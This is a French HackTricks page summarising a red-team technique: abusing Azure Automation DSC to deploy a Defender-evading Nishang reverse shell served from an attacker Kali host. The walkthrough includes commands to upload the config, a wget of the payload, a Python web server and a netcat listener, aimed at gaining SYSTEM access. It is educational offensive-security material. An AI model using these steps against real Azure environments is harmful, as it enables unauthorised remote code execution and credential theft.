Az - State Configuration RCE

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Consultez l'article complet sur : https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Résumé de la préparation de l'infrastructure du serveur distant (C2) et des étapes

Aperçu

Le processus implique la mise en place d'une infrastructure de serveur distant pour héberger une charge utile Invoke-PowerShellTcp.ps1 de Nishang modifiée, nommée RevPS.ps1, conçue pour contourner Windows Defender. La charge utile est servie à partir d'une machine Kali Linux avec l'IP 40.84.7.74 en utilisant un serveur HTTP Python simple. L'opération est exécutée à travers plusieurs étapes :

Étape 1 — Créer des fichiers

  • Fichiers requis : Deux scripts PowerShell sont nécessaires :

  1. reverse_shell_config.ps1 : Un fichier de configuration d'état souhaité (DSC) qui récupère et exécute la charge utile. Il est disponible sur GitHub.

  2. push_reverse_shell_config.ps1 : Un script pour publier la configuration sur la machine virtuelle, disponible sur GitHub.

  • Personnalisation : Les variables et paramètres dans ces fichiers doivent être adaptés à l'environnement spécifique de l'utilisateur, y compris les noms de ressources, les chemins de fichiers et les identifiants de serveur/payload.

Étape 2 — Zipper le fichier de configuration

  • Le fichier reverse_shell_config.ps1 est compressé dans un fichier .zip, le rendant prêt pour le transfert vers le compte de stockage Azure.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Étape 3 — Définir le contexte de stockage & Téléverser

  • Le fichier de configuration compressé est téléversé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la commande Set-AzStorageBlobContent d'Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

Étape 4 — Préparation de la boîte Kali

  • Le serveur Kali télécharge la charge utile RevPS.ps1 à partir d'un dépôt GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • Le script est modifié pour spécifier la machine virtuelle Windows cible et le port pour le shell inversé.

Étape 5 — Publier le fichier de configuration

  • Le fichier de configuration est exécuté, ce qui entraîne le déploiement du script de shell inversé à l'emplacement spécifié sur la machine virtuelle Windows.

Étape 6 — Héberger la charge utile et configurer l'écoute

  • Un serveur Python SimpleHTTPServer est démarré pour héberger la charge utile, ainsi qu'un écouteur Netcat pour capturer les connexions entrantes.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • La tâche planifiée exécute la charge utile, obtenant ainsi des privilèges au niveau du SYSTEM.

Conclusion

La réussite de ce processus ouvre de nombreuses possibilités pour d'autres actions, telles que le vol d'informations d'identification ou l'extension de l'attaque à plusieurs machines virtuelles. Le guide encourage la poursuite de l'apprentissage et de la créativité dans le domaine de la configuration d'état Azure Automation DSC.

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour